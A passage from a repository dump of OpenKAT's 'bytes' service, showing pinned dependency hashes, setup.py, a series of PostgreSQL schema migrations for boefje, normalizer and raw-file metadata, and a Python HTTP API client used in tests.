--hash=sha256:0e1fdaa14ef51366d7757b45bde294e95f6c8c049194e793eedb8387c86d5993 \\\n    --hash=sha256:0e40111274f340d32ebcc0a5668d54d2b552a6cca84c9475859d364b380e3222 \\\n    --hash=sha256:115136c4a426f9da976187d238e84139ff6b51a20839aa6e3720cd1026d768de \\\n    --hash=sha256:13a563739ae600a631c36ce096615fe307f131344588b0bc0daec108cdb47b25 \\\n    --hash=sha256:16c6994ac35c3e74fb0ae93323bf8b9c2a9088d55946109489667c510a7d010e \\\n    --hash=sha256:170e26584b060879e29fac213e4228ef063f39128723807a312e5c7fec28eff2 \\\n    --hash=sha256:17235362f580149742739cc3828b80e24029d08cbb9c4bda0242c7b5bc610a8e \\\n    --hash=sha256:1932b6b8bba8d0160a9d1078aae5838a66039e8832d41d2992daa9a3a08f7860 \\\n    --hash=sha256:1b6b572edd95b4fa8df75de10b04bc81acc87c1c7d16bcdd2035b09d30acc957 \\\n    --hash=sha256:1c3a3598a832590c5a3ce56ab5576361b5688c12cb1d39429cf5dba30b510760 \\\n    --hash=sha256:1c57676bdedc94cd3bc37724cf6f8cd2779f02f6aba48de45feca073e714fe52 \\\n    --hash=sha256:1dc702e42d0684f42d6519c8d581e49c96cefaaab16691f03566d30658ee8788 \\\n    --hash=sha256:21d1b7305a71a15b4794b5ff22e8eef96ff4a6d7f9657155e5aa419444b28912 \\\n    --hash=sha256:23f371bd662cf44a7630d4d113101eafc0cfa7518a2760d20760b26021454719 \\\n    --hash=sha256:2569b67d616eab450d262ca7cb9f9e19d2f718c70a8b88712859359d0ab17035 \\\n    --hash=sha256:263cd4f47159c09b8b685890af949195b51d1aa82ba451c5847ca9bc6413c220 \\\n    --hash=sha256:2803ed8b21ca47a43da80a6fd1ed3019d30061f7061daa35ac54f63933409412 \\\n    --hash=sha256:2a6940a074fb3c48356ed0158a3ca5699c955ee4185b4d7d619be3c327143e05 \\\n    --hash=sha256:2e27c8841126e017dd2a054a95771569e6070b9ee1b133366d8b31beb5018a41 \\\n    --hash=sha256:31c9921eb8bd12633b41ad27686bbb0b1a2a9b8452bfdf221e34f311e9942ed4 \\\n    --hash=sha256:34b6cf500e61c90f305094911f9acc9c86da1a05a7a3f5be9f68817043f486e4 \\\n    --hash=sha256:3650dc2480f94f7116c364096bc84b1d602f44224ef7d5c7208425915c0475dd \\\n    --hash=sha256:389871e65468400d6283c0308e791a640b5ab5c83bcee02a2f51295f95e09748 \\\n    --hash=sha256:39004f0ad156da43e86aa71f44e033de68a44e5a31fc53507b36dd253970054a \\\n    --hash=sha256:394906945aa8b19fc14a61cf69743a868bb8c465efe85eee687109cc540b98f4 \\\n    --hash=sha256:3ceb13c5c858d01321b5d9bb65e4cf37a92169ea470b70fec6f236b2c9dd7e34 \\\n    --hash=sha256:411225bae281f114067578891bc75534cfb3d92a3b4dfef7a6ca78ba354e6069 \\\n    --hash=sha256:44bb7bef4ea409384e3f8bc36c063d77ea1b8d4a5b2706956c0d6695f07dcc25 \\\n    --hash=sha256:4503053d296bc6e4cbd1fad61cf3b6e33b939886c4f249ba7c78b602214fabe2 \\\n    --hash=sha256:4764a6a7588561a9aef92f65bda2c4fb58fe7c675c0883862e6df97559de0bfb \\\n    --hash=sha256:4966242ec68afc74c122f8459abd597afd7d8a60dc93d695c1334c5fd25f762f \\\n    --hash=sha256:4a42e651629dafb64fd5b0286a3580613702b5809ad3f24934ea87595804f2c5 \\\n    --hash=sha256:4a59ba56f340334766f3a4442e0efd0af895fae9e2b204741ef885c446b3a1a8 \\\n    --hash=sha256:4c41e021bc6d7affb3364dc1e1e5fa9582b470f283748784bd6ea0558f87f42c \\\n    --hash=sha256:5023346c4ee7992febc0068e7593de5fa2bf611848c08404b35ebbb76b1b0512 \\\n    --hash=sha256:50f9d8d531dfb767c565f348f33dd5139a6c43f5cbdf3f67da40d54241df93f6 \\\n    --hash=sha256:51430653db848d258336cfa0244427b17d12db63d42603a55f0d4546f50f25b5 \\\n    --hash=sha256:531ef597132086b6cf96faa7c6c1dcd0361dd5f1694e5cc30375907b9b7d3ea9 \\\n    --hash=sha256:53ad387048f6f09a8969631e4de3f1bf70c50e93545d64af4f751b2498755072 \\\n    --hash=sha256:53b1ea6ca88ebd4420379c330aea57e258408dd0df9af0992e5de2078dc9f5d5 \\\n    --hash=sha256:575aa4405a656e61a540f4a80eaa5260f2a38fff7bfdc4b5f611840d76e9e277 \\\n    --hash=sha256:578110dd426f0d209d1509244e6d4a3f1a3e9077655d98c5f22583d63252a08a \\\n    --hash=sha256:5ec2f42d41ccbd5df0270d7df31618a8ee267bfa50997f5d720ddba86c4a83a6 \\\n    --hash=sha256:5ee586fb17ff8f90c91cf73c6108a434b02d69925f44f5f8e0d7f2f260607eae \\\n    --hash=sha256:5f10fd85e4b75967468af655228fbfd212bdf66db1c0d135065ce288982eda26 \\\n    --hash=sha256:609d3614d78d74ebe35f54953c5bbd2ac647a7ddb9c30a5d877580f5e86b22f2 \\\n    --hash=sha256:62694e275c93d54f7ccedcfef57d42761b2aad5234b6be1f3e3026cae4001cd4 \\\n    --hash=sha256:63e92247f383c85ab00dd0091e8c3fa331a96e865459f5ee80353c70a4a42d70 \\\n    --hash=sha256:682bae25f0a0dd23a056739f23a134db9f52a63e2afd6bfb37ddc76292bbd723 \\\n    --hash=sha256:6b41389c19b07c760c7e427a3462e8ab83c4bb087d127f0e854c706ce1b9215c \\\n    --hash=sha256:6e87a6e8735b44816e7db0b2fbc9686932df473c826b0d9743148432e10bb9b9 \\\n    --hash=sha256:6f0fd84de0c957b2d280143522c4f91a73aada1923caee763e24a2b3fda9f8a5 \\\n    --hash=sha256:70efd20be968c76ece7baa8dafe04c5be06abc57f754d6f36f3741f7aa7a208e \\\n    --hash=sha256:71d006bee8397a4a89f469b8deb22469fe7508132d3c17fa6ed871e79832691c \\\n    --hash=sha256:73309162a6a571d4cbd3b6a1dcc703c7311843ae0d1578df6f09be4e98df38d4 \\\n    --hash=sha256:75e3026ab649bf48f9a10c0134512638725b521340293f202a69b567518d94e0 \\\n    --hash=sha256:76855800ac56f878847a09ce6dba727c93ca2d89c9e9d63002d26b916810b0a2 \\\n    --hash=sha256:7c6b9461a2a8b47c65eef63bb1c76a4f1c119618ffa99ea79bc5bb1e46c5821b \\\n    --hash=sha256:803a3c3ce4acc62eaf01eaca1208dcf0783025ef27572c3336502b9c232005e7 \\\n    --hash=sha256:80e6d33a3d42a7549b409f199857b4fb54e2103fc44fb87605b6663b7a7ff750 \\\n    --hash=sha256:8419ebd326430d1cbb7efb5292330a2cf39114e82df5cc3d83c9a0d5ebeaf2f2 \\\n    --hash=sha256:85610b4f27f69984932a7abbe52703688de3724d9f72bceb1cca667deff27474 \\\n    --hash=sha256:85e9beda1f591bc73e77ea1c51965c68e98dafd0fec72cdd745f77d727466716 \\\n    --hash=sha256:877b0738624280e34c55680d6054a307aa94f7d52fa0e3034a9cc6e790871da7 \\\n    --hash=sha256:88f9fb0116fbfcefcab70f85cf4b74a2b6ce5d199c41345296f49d974ddb4123 \\\n    --hash=sha256:8c4fe09e0780c6c3bf2b7d4af02ee2394439d11a523bbcf095cf4747c2932007 \\\n    --hash=sha256:93a784271881035ab4406a172edb0faecb6e7d00f4b53dc2f55919d6c9688595 \\\n    --hash=sha256:94f8575fbdf81749008d980c17796097e645574a3b8c28ee313931068dad14fe \\\n    --hash=sha256:95451e6ce06c3e104556d73b559f5da6c34a069b6b62946d3ad66afcd51642ea \\\n    --hash=sha256:99c8a9ed30f4164bc4c14b37a90208836cbf50d4ce2a57c71d0f52c7fb4f7598 \\\n    --hash=sha256:9a18d6f9359e45722c064c97464ec883eb0e0366d33eda61cb19a244bf222679 \\\n    --hash=sha256:9cbf44c5cb4a7633d078788e1b56387e3d3cf2b8139a3be38040b22d6c3221c8 \\\n    --hash=sha256:9ee33b875f0b390564c1fb7bc528abf18c8ee6073b201c6ae8524aca778e2d83 \\\n    --hash=sha256:a0e317df055958a0c1e79e5d2aa5a5eaa4a6d05a20d4b0c9c3f48918139c9fc6 \\\n    --hash=sha256:a2df6afe50dea8ae15fa34c9f824a3ee958d785fd5d089063d960bae1daa0a3f \\\n    --hash=sha256:a31de1613658308efdb21ada98cbc86a97c181aa050ba22a808120bb5be3ab94 \\\n    --hash=sha256:a3d2bff8f37f8d0f96c7ec554d16945050d54462d6e95414babaa18bfafc7f51 \\\n    --hash=sha256:a41bcf68efd19073376eb8cf948b8d9be0af26256403e512bb18f3966f1f9120 \\\n    --hash=sha256:a82836cab5f197a0514235aaf7ffccdc886ccdaa2324bc0aafdd4ae898103039 \\\n    --hash=sha256:a8d00f29b42f534cc8aa3931cfe773b13b23e561e10d2b26f27a8d309b0e82a1 \\\n    --hash=sha256:aafe5dcfda86c8af00386d7781d4c2181b5011b7be3f2add5e99899ea925df05 \\\n    --hash=sha256:ab5f043cb8a2d71c981c09c510da013bc79fd661f5c60139f00dd3c3cc4f2ffb \\\n    --hash=sha256:ac09d42f48f80c9ee1635b2fcaa819496a44502737660d3c0f2ade7526d29144 \\\n    --hash=sha256:aecfed0b41aa72b7881712c65cf764e39ce2ec352324f5e0837c7048d9e6daaa \\\n    --hash=sha256:b2c6b50c7b0464165472b56b42d4c76a7b864597007d9c085e8b63e185cf4a7a \\\n    --hash=sha256:b35d13d549077713e4414f927cdc388d62e543987c572baee613bf82f11a4b99 \\\n    --hash=sha256:b39cb32a6582750b6cc77bfb3c49c0f8760dc18dc96ec9fb55fbb0f04e08b928 \\\n    --hash=sha256:b5405bb8f0e783a988172993cfc627e4d9d00432d6bbac65a923041edacf997d \\\n    --hash=sha256:baaf55442359053c7d62f6f8413a62adba3205119bcb6f49594894d8be47e5e3 \\\n    --hash=sha256:bd654fad46d8d9e823afbb4f87c79160b5a374ed1ff5bde24e542e6ba8f41434 \\\n    --hash=sha256:be61f6fff406ca40e3b1d84716fde398fc08bc63dd96d15f3a14230a0973ed86 \\\n    --hash=sha256:bf49a3ae946a87083ef3a34c8f677ae4243f5b824bfc4c69672e72b3d6719d46 \\\n    --hash=sha256:c4a80f77dc1acaaa61f0934176fccca7096d9b1ff08c8ba9cddf5ae034a24319 \\\n    --hash=sha256:c75eb09e8d55bceb4367e83496ff8ef2bc7ea6960efb38e978e8073ea59ecb67 \\\n    --hash=sha256:c7f8dc16c498ff06497c015642333219871effba93e4a2e8604a06264aca5c5c \\\n    --hash=sha256:c8aa34a5c864db1087d911a0b902d60d203ea3607d91f615acd3f3108ac32169 \\\n    --hash=sha256:cbb0fef01f0c6b38cb0f39b1f78fc90b807e0e3c86a7ff3ce74ad77ce5c7880c \\\n    --hash=sha256:cde9a2ecd91668bcb7f077c4966d8ceddb60af01b52e6e3e2680e4cf00ad1a59 \\\n    --hash=sha256:cff6d44cb13d39db2663a22b22305d10855efa0fa8015ddeacc40bc59b9d8107 \\\n    --hash=sha256:d1009abedb49ae95b136a8904a3f71b342f849ffeced2d3747bf29caeda218c4 \\\n    --hash=sha256:d38c1e8231722c4ce40d7593f28d92b5fc72f3e9774fe73d7e800ec32299f63a \\\n    --hash=sha256:d53834e23c015ee83a99377db6e5e37d8484f333edb03bd15b4bc312cc7254fb \\\n    --hash=sha256:d7504f2b476d21653e4d143f44a175f7f751cd41233525312696c76aa3dbb23f \\\n    --hash=sha256:dbf507e9ef5688bada447a24d68b4b58dd389ba93b7afc065a2ba892bea54769 \\\n    --hash=sha256:dc52310451fc7c629e13c4e061cbe2dd01684d91f2f8ee2821b083c58bd72432 \\\n    --hash=sha256:dd00607bffbf30250fe108065f07453ec124dbf223420f57f5e749b04295e090 \\\n    --hash=sha256:dda608c88cf709b1d406bdfcd84d8d63cff7c9e577a403c6108ce8ce9dcc8764 \\\n    --hash=sha256:debe9c4f41c32990771be5c22b56f810659f9ddf3d63f67abfdcaa2c6c9c5c1d \\\n    --hash=sha256:e09fd068c2e169a7070d83d3bde728a4d48de0549f975290be3c108c02e499b4 \\\n    --hash=sha256:e0fd068364a6759bc794459f0a735ab151d11304346332489c7972bacbe9e72b \\\n    --hash=sha256:e4c53f8347cd4200f0d70a48ad059cabaf24f5adc6ba08622a23423bc7efa10d \\\n    --hash=sha256:e5723c01a56c5028c807c701aa66722916d2747ad737a046853f6c46f4875543 \\\n    --hash=sha256:e7b0460976dc75cb87ad9cc1f9899a4b97751e7d4e77ab840fc9b6d377b8fd24 \\\n    --hash=sha256:e9d9a4d06d3481eab79803beb4d9bd6f6a8e781ec078ac70d7ef2dcc29d1bea5 \\\n    --hash=sha256:ead11956716a940c1abc816b7df3fa2b84d06eaed8832ca32f5c5e058c65506b \\\n    --hash=sha256:ed5f69ce7be7902e5c70ea19eb72d20abf7d725ab5d49777d696e32d4fc1811d \\\n    --hash=sha256:f2af5c81a1f124609d5f33507082fc3f739959d4719b56877ab1ee7e7b3d602b \\\n    --hash=sha256:f40e782d49630ad384db66d4d8b73ff4f1b8955dc12e26b09a3e3af064b3b9d6 \\\n    --hash=sha256:f514f6474e04179d3d33175ed3f3e31434d3130d42ec153540d5b157deefd735 \\\n    --hash=sha256:f69f57305656a4852f2a7203efc661d8c042e6cc67f7acd97d8667fb448a426e \\\n    --hash=sha256:fb1e8b8d66c278b21d13b0a7ca22c41dd757a7c209c6b12c313e445c31dd3b28 \\\n    --hash=sha256:fb4948814a2a98e3912505f09c9e7493b1506226afb1f881825368d6fb776ee3 \\\n    --hash=sha256:fda207c815b253e34f7e1909840fd14299567b1c0eb4908f8c2ce01a41265401 \\\n    --hash=sha256:fe8f8f5e70e6dbdfca9882cd9deaac058729bcf323cf7a58660901e55c9c94f6 \\\n    --hash=sha256:fffc45637bcd6538de8b85f51e3df3223e4ad89bccbfca0481c08c7fc8b7ed7d\n    # via\n    #   aio-pika\n    #   aiormq\nzipp==3.23.1 \\\n    --hash=sha256:0b3596c50a5c700c9cb40ba8d86d9f2cc4807e9bedb06bcdf7fac85633e444dc \\\n    --hash=sha256:32120e378d32cd9714ad503c1d024619063ec28aad2248dc6672ad13edfa5110\n    # via importlib-metadata\n"
  },
  {
    "path": "bytes/setup.py",
    "content": "from setuptools import find_packages, setup\n\nfrom bytes.version import __version__\n\nsetup(\n    name=\"bytes\",\n    version=__version__,\n    author=\"MinVWS\",\n    url=\"https://openkat.nl/\",\n    packages=find_packages(exclude=\"tests\"),\n    include_package_data=True,\n)\n"
  },
  {
    "path": "bytes/sql_migrations/0001_initial.sql",
    "content": "-- Initiale vulling bytes\n--\n-- Wie : Mark\n-- Datum : 23-11-2021\n-- Waarom : Initiele versie\n\n\nCREATE TABLE boefje_meta (\n                             id UUID NOT NULL,\n                             module_path VARCHAR NOT NULL,\n                             module_version VARCHAR,\n                             organization VARCHAR NOT NULL,\n                             arguments JSON NOT NULL,\n                             dispatches JSON,\n                             started_at TIMESTAMP WITH TIME ZONE,\n                             ended_at TIMESTAMP WITH TIME ZONE,\n                             PRIMARY KEY (id),\n                             UNIQUE (id)\n);\n\nAlter table boefje_meta owner to bytes_dba;\n\ngrant all on boefje_meta to bytes;\n\nCREATE TABLE normalizer_meta (\n                                 id UUID NOT NULL,\n                                 module_path VARCHAR NOT NULL,\n                                 module_version VARCHAR,\n                                 started_at TIMESTAMP WITH TIME ZONE,\n                                 ended_at TIMESTAMP WITH TIME ZONE,\n                                 boefje_meta_id UUID NOT NULL,\n                                 PRIMARY KEY (id),\n                                 FOREIGN KEY(boefje_meta_id) REFERENCES boefje_meta (id),\n                                 UNIQUE (id)\n);\n\nAlter table normalizer_meta owner to bytes_dba;\n\ngrant all on normalizer_meta to bytes;\n\n\nCREATE TABLE output_ooi (\n                            ooi_id VARCHAR NOT NULL,\n                            normalizer_meta_id UUID NOT NULL,\n                            PRIMARY KEY (ooi_id, normalizer_meta_id),\n                            FOREIGN KEY(normalizer_meta_id) REFERENCES normalizer_meta (id)\n);\n\nAlter table output_ooi owner to bytes_dba;\n\ngrant all on output_ooi to bytes;\n"
  },
  {
    "path": "bytes/sql_migrations/0002_drop_output_add_input.sql",
    "content": "-- Wie : Mark\n-- Datum : 16-12-2021\n-- Waarom : Versie 0.2.0\n\nDROP TABLE output_ooi;\n\nALTER TABLE normalizer_meta\nDROP CONSTRAINT normalizer_meta_boefje_meta_id_fkey;\n\nALTER TABLE normalizer_meta\n    ADD CONSTRAINT normalizer_meta_boefje_meta_id_fkey\n        FOREIGN KEY(boefje_meta_id)\n            REFERENCES boefje_meta (id)\n            ON DELETE CASCADE;\n\nDELETE FROM boefje_meta;\n\nALTER TABLE boefje_meta\n    ADD COLUMN input_ooi\n        VARCHAR NOT NULL;\n"
  },
  {
    "path": "bytes/sql_migrations/0003_rename_module_to_normalizer_boefje.sql",
    "content": "-- Wie : Herman (Jesse)\n-- Datum : 14-01-2022\n-- Waarom : versie bump\n\nALTER TABLE boefje_meta RENAME module_path TO boefje_name;\nALTER TABLE boefje_meta RENAME module_version TO boefje_version;\nALTER TABLE normalizer_meta RENAME module_path TO normalizer_name;\nALTER TABLE normalizer_meta RENAME module_version TO normalizer_version;\n"
  },
  {
    "path": "bytes/sql_migrations/0004_drop_dispatches_change_input_ooi.sql",
    "content": "ALTER TABLE boefje_meta RENAME boefje_name TO boefje_id;\n"
  },
  {
    "path": "bytes/sql_migrations/0005_add_secure_hash_link_boefje_meta.sql",
    "content": "ALTER TABLE boefje_meta ADD COLUMN secure_hash VARCHAR;\nALTER TABLE boefje_meta ADD COLUMN hash_retrieval_link VARCHAR;\n"
  },
  {
    "path": "bytes/sql_migrations/0006_remove_redundant_dispatches_field.sql",
    "content": "ALTER TABLE boefje_meta DROP COLUMN dispatches;\n"
  },
  {
    "path": "bytes/sql_migrations/0007_add_raw_file_models.sql",
    "content": "CREATE TABLE raw_file (\n    id UUID NOT NULL,\n    secure_hash VARCHAR,\n    hash_retrieval_link VARCHAR,\n    boefje_meta_id UUID NOT NULL,\n    mime_types VARCHAR[],\n    PRIMARY KEY (id),\n    FOREIGN KEY(boefje_meta_id) REFERENCES boefje_meta (id) ON DELETE CASCADE\n);\n\nALTER TABLE boefje_meta DROP COLUMN hash_retrieval_link;\nALTER TABLE boefje_meta DROP COLUMN secure_hash;\n"
  },
  {
    "path": "bytes/sql_migrations/0008_point_normalizer_to_raw.sql",
    "content": "ALTER TABLE normalizer_meta ADD COLUMN raw_file_id UUID;\nALTER TABLE normalizer_meta ADD CONSTRAINT normalizer_meta_raw_file_id_fkey FOREIGN KEY(raw_file_id) REFERENCES raw_file (id) ON DELETE CASCADE;\n"
  },
  {
    "path": "bytes/sql_migrations/0009_max_length_on_varchar_s.sql",
    "content": "ALTER TABLE boefje_meta ALTER COLUMN boefje_id TYPE VARCHAR(32);\nALTER TABLE boefje_meta ALTER COLUMN boefje_version TYPE VARCHAR(16);\nALTER TABLE boefje_meta ALTER COLUMN organization TYPE VARCHAR(4);\nALTER TABLE boefje_meta ALTER COLUMN input_ooi TYPE VARCHAR(128);\nALTER TABLE raw_file ALTER COLUMN secure_hash TYPE VARCHAR(256);\nALTER TABLE raw_file ALTER COLUMN hash_retrieval_link TYPE VARCHAR(128);\nALTER TABLE raw_file ALTER COLUMN mime_types TYPE VARCHAR(64)[];\nALTER TABLE normalizer_meta ALTER COLUMN normalizer_name TYPE VARCHAR(32);\nALTER TABLE normalizer_meta ALTER COLUMN normalizer_version TYPE VARCHAR(16);\n"
  },
  {
    "path": "bytes/sql_migrations/0010_longer_retrieval_link_string.sql",
    "content": "ALTER TABLE raw_file ALTER COLUMN hash_retrieval_link TYPE VARCHAR(2048);\n"
  },
  {
    "path": "bytes/sql_migrations/0011_longer_normalizer_name_and_boefje_id.sql",
    "content": "ALTER TABLE boefje_meta ALTER COLUMN boefje_id TYPE VARCHAR(64);\nALTER TABLE normalizer_meta ALTER COLUMN normalizer_name TYPE VARCHAR(64);\n"
  },
  {
    "path": "bytes/sql_migrations/0011_rename_normalizer_name_to_normalizer_id.sql",
    "content": "ALTER TABLE normalizer_meta RENAME normalizer_name TO normalizer_id;\n"
  },
  {
    "path": "bytes/sql_migrations/0012_65a39ab3e224_increate_organization_input_ooi_size.sql",
    "content": "ALTER TABLE boefje_meta ALTER COLUMN organization TYPE VARCHAR(8);\nALTER TABLE boefje_meta ALTER COLUMN input_ooi TYPE VARCHAR(1024);\n"
  },
  {
    "path": "bytes/sql_migrations/0013_e09d8780e34b_nullable_input_ooi.sql",
    "content": "ALTER TABLE boefje_meta ALTER COLUMN input_ooi DROP NOT NULL;\n"
  },
  {
    "path": "bytes/sql_migrations/0014_ebc7de8be4e3_increase_organization_id_length.sql",
    "content": "ALTER TABLE boefje_meta ALTER COLUMN organization TYPE VARCHAR(32);\n"
  },
  {
    "path": "bytes/sql_migrations/0015_fa64454868a9_add_indices.sql",
    "content": "CREATE INDEX CONCURRENTLY ix_boefje_meta_organization_boefje_id ON boefje_meta (organization, boefje_id);\nCREATE INDEX CONCURRENTLY ix_normalizer_meta_raw_file_id ON normalizer_meta (raw_file_id);\nCREATE INDEX CONCURRENTLY ix_raw_file_boefje_meta_id ON raw_file (boefje_meta_id);\n"
  },
  {
    "path": "bytes/sql_migrations/0016_ec68d3eb14b1_remove_redundant_boefje_meta_foreign.sql",
    "content": "INSERT INTO raw_file (id, boefje_meta_id) SELECT DISTINCT boefje_meta_id AS id, boefje_meta_id AS boefje_meta_id FROM normalizer_meta WHERE raw_file_id IS NULL;\nUPDATE normalizer_meta SET raw_file_id = boefje_meta_id WHERE raw_file_id IS NULL;\n\nALTER TABLE normalizer_meta ALTER COLUMN raw_file_id SET NOT NULL;\nALTER TABLE normalizer_meta DROP CONSTRAINT normalizer_meta_boefje_meta_id_fkey;\nALTER TABLE normalizer_meta DROP COLUMN boefje_meta_id;\n"
  },
  {
    "path": "bytes/sql_migrations/0017_09a2929108d9_add_signing_provider_model.sql",
    "content": "CREATE TABLE signing_provider (\n    id SERIAL NOT NULL,\n    url VARCHAR(256) NOT NULL,\n    PRIMARY KEY (id),\n    UNIQUE (url)\n);\n\nALTER TABLE raw_file ADD COLUMN signing_provider_id INTEGER;\n\nCREATE INDEX ix_raw_file_signing_provider_id ON raw_file (signing_provider_id);\nALTER TABLE raw_file ADD FOREIGN KEY(signing_provider_id) REFERENCES signing_provider (id) ON DELETE CASCADE;\n"
  },
  {
    "path": "bytes/sql_migrations/0018_d216ad75177d_add_environment_and_runnable_hash.sql",
    "content": "ALTER TABLE boefje_meta ADD COLUMN environment JSON;\nALTER TABLE boefje_meta ADD COLUMN runnable_hash VARCHAR(64);\n"
  },
  {
    "path": "bytes/sql_migrations/0019_1dde0213e9fe_remove_all_hash_mime_types.sql",
    "content": "WITH filtered AS (\n    SELECT m.id, array_agg(m.mime_type) AS mime_types FROM (\n        SELECT raw.id, boefje_id, unnest(mime_types) AS mime_type\n        FROM raw_file raw JOIN boefje_meta b ON boefje_meta_id = b.id\n    ) m\n\n    WHERE m.mime_type NOT LIKE concat('boefje/', m.boefje_id, '-%')\n    AND m.mime_type != m.boefje_id\n    GROUP BY m.id\n)\nUPDATE raw_file r SET mime_types = filtered.mime_types FROM filtered WHERE r.id = filtered.id;\n"
  },
  {
    "path": "bytes/tests/__init__.py",
    "content": ""
  },
  {
    "path": "bytes/tests/client.py",
    "content": "import typing\nfrom base64 import b64encode\nfrom collections.abc import Callable\nfrom functools import wraps\nfrom typing import Any\nfrom uuid import UUID\n\nimport httpx\nfrom httpx import HTTPError, HTTPStatusError\n\nfrom bytes.api.models import BoefjeOutput, File\nfrom bytes.models import BoefjeMeta, NormalizerMeta, RawDataMeta\nfrom bytes.repositories.meta_repository import BoefjeMetaFilter, NormalizerMetaFilter, RawDataFilter\n\nBYTES_API_CLIENT_VERSION = \"0.2\"\n\nClientSessionMethod = Callable[..., Any]\n\n\ndef retry_with_login(function: ClientSessionMethod) -> ClientSessionMethod:\n    @wraps(function)\n    def wrapper(self, *args, **kwargs):  # type: ignore\n        try:\n            return function(self, *args, **kwargs)\n        except HTTPError as error:\n            if not isinstance(error, HTTPStatusError) or error.response.status_code != 401:\n                raise\n\n            self.login()\n            return function(self, *args, **kwargs)\n\n    return typing.cast(ClientSessionMethod, wrapper)\n\n\nclass BytesAPIClient:\n    def __init__(self, base_url: str, username: str, password: str):\n        self.client = httpx.Client(\n            base_url=base_url, headers={\"User-Agent\": f\"bytes-api-client/{BYTES_API_CLIENT_VERSION}\"}\n        )\n        self._credentials = {\"username\": username, \"password\": password}\n\n    def login(self) -> None:\n        self.client.headers.update(self._get_authentication_headers())\n\n    @staticmethod\n    def _verify_response(response: httpx.Response) -> None:\n        response.raise_for_status()\n\n    def _get_authentication_headers(self) -> dict[str, str]:\n        return {\"Authorization\": f\"bearer {self._get_token()}\"}\n\n    def _get_token(self) -> str:\n        response = self.client.post(\n            \"/token\", data=self._credentials, headers={\"content-type\": \"application/x-www-form-urlencoded\"}\n        )\n\n        return str(response.json()[\"access_token\"])\n\n    @retry_with_login\n    def get_metrics(self) -> bytes:\n        response = self.client.get(\"/metrics\")\n\n        self._verify_response(response)\n\n        return response.content\n\n    @retry_with_login\n    def get_mime_type_count(self, query_filter: RawDataFilter) -> dict[str, str]:\n        params = query_filter.model_dump(exclude_none=True)\n        params[\"mime_types\"] = [m.value for m in query_filter.mime_types]\n\n        response = self.client.get(\"/bytes/mime_types\", params=params)\n        self._verify_response(response)\n\n        return response.json()  # type: ignore\n\n    @retry_with_login\n    def save_boefje_meta(self, boefje_meta: BoefjeMeta) -> None:\n        response = self.client.post(\"/bytes/boefje_meta\", json=boefje_meta.model_dump(mode=\"json\"))\n\n        self._verify_response(response)\n\n    @retry_with_login\n    def get_boefje_meta_by_id(self, boefje_meta_id: UUID) -> BoefjeMeta:\n        response = self.client.get(f\"/bytes/boefje_meta/{boefje_meta_id}\")\n        self._verify_response(response)\n\n        boefje_meta_json = response.json()\n        return BoefjeMeta.model_validate(boefje_meta_json)\n\n    @retry_with_login\n    def get_boefje_meta(self, query_filter: BoefjeMetaFilter) -> list[BoefjeMeta]:\n        response = self.client.get(\"/bytes/boefje_meta\", params=query_filter.model_dump(exclude_none=True))\n        self._verify_response(response)\n\n        boefje_meta_json = response.json()\n        return [BoefjeMeta.model_validate(boefje_meta) for boefje_meta in boefje_meta_json]\n\n    @retry_with_login\n    def save_normalizer_meta(self, normalizer_meta: NormalizerMeta) -> None:\n        response = self.client.post(\"/bytes/normalizer_meta\", json=normalizer_meta.model_dump(mode=\"json\"))\n\n        self._verify_response(response)\n\n    @retry_with_login\n    def get_normalizer_meta_by_id(self, normalizer_meta_id: UUID) -> NormalizerMeta:\n        response = self.client.get(f\"/bytes/normalizer_meta/{normalizer_meta_id}\")\n        self._verify_response(response)\n\n        normalizer_meta_json = response.json()\n        return NormalizerMeta.model_validate(normalizer_meta_json)\n\n    @retry_with_login\n    def get_normalizer_meta(self, query_filter: NormalizerMetaFilter) -> list[NormalizerMeta]:\n        response = self.client.get(\"/bytes/normalizer_meta\", params=query_filter.model_dump(exclude_none=True))\n        self._verify_response(response)\n\n        normalizer_meta_json = response.json()\n        return [NormalizerMeta.model_validate(normalizer_meta) for normalizer_meta in normalizer_meta_json]\n\n    @retry_with_login\n    def save_raw(self, boefje_meta_id: UUID, raw: bytes, mime_types: list[str] | None = None) -> str:\n        if not mime_types:\n            mime_types = []\n\n        file_name = \"raw\"  # The name provides a key for all ids returned, so this is arbitrary as we only upload 1 file\n        response = self.client.post(\n            \"/bytes/raw\",\n            json={\"files\": [{\"name\": file_name, \"content\": b64encode(raw).decode(), \"tags\": mime_types}]},\n            params={\"boefje_meta_id\": str(boefje_meta_id)},\n        )\n        self._verify_response(response)\n\n        return response.json()[file_name]\n\n    @retry_with_login\n    def save_raws(self, boefje_meta_id: UUID, boefje_output: BoefjeOutput) -> dict[str, str]:\n        response = self.client.post(\n            \"/bytes/raw\", json=boefje_output.model_dump(mode=\"json\"), params={\"boefje_meta_id\": str(boefje_meta_id)}\n        )\n        self._verify_response(response)\n\n        return response.json()\n\n    @retry_with_login\n    def get_raw(self, raw_id: UUID) -> bytes:\n        response = self.client.get(f\"/bytes/raw/{raw_id}\")\n        self._verify_response(response)\n\n        return response.content\n\n    @retry_with_login\n    def get_raw_meta(self, raw_id: UUID) -> RawDataMeta:\n        response = self.client.get(f\"/bytes/raw/{raw_id}/meta\")\n        self._verify_response(response)\n\n        return RawDataMeta.model_validate(response.json())\n\n    @retry_with_login\n    def get_raw_metas(self, query_filter: RawDataFilter) -> dict[str, str]:\n        params = query_filter.model_dump(exclude_none=True)\n        params[\"mime_types\"] = [m.value for m in query_filter.mime_types]\n\n        response = self.client.get(\"/bytes/raw\", params=params)\n        self._verify_response(response)\n\n        return response.json()  # type: ignore\n\n    @retry_with_login\n    def get_raws(self, query_filter: RawDataFilter) -> list[File]:\n        params = query_filter.model_dump(exclude_none=True)\n        params[\"mime_types\"] = [m.value for m in query_filter.mime_types]\n\n        response = self.client.get(\"/bytes/raws\", params=params)\n        self._verify_response(response)\n\n        return response.json().get(\"files\", [])\n"
  },
  {
    "path": "bytes/tests/conftest.py",
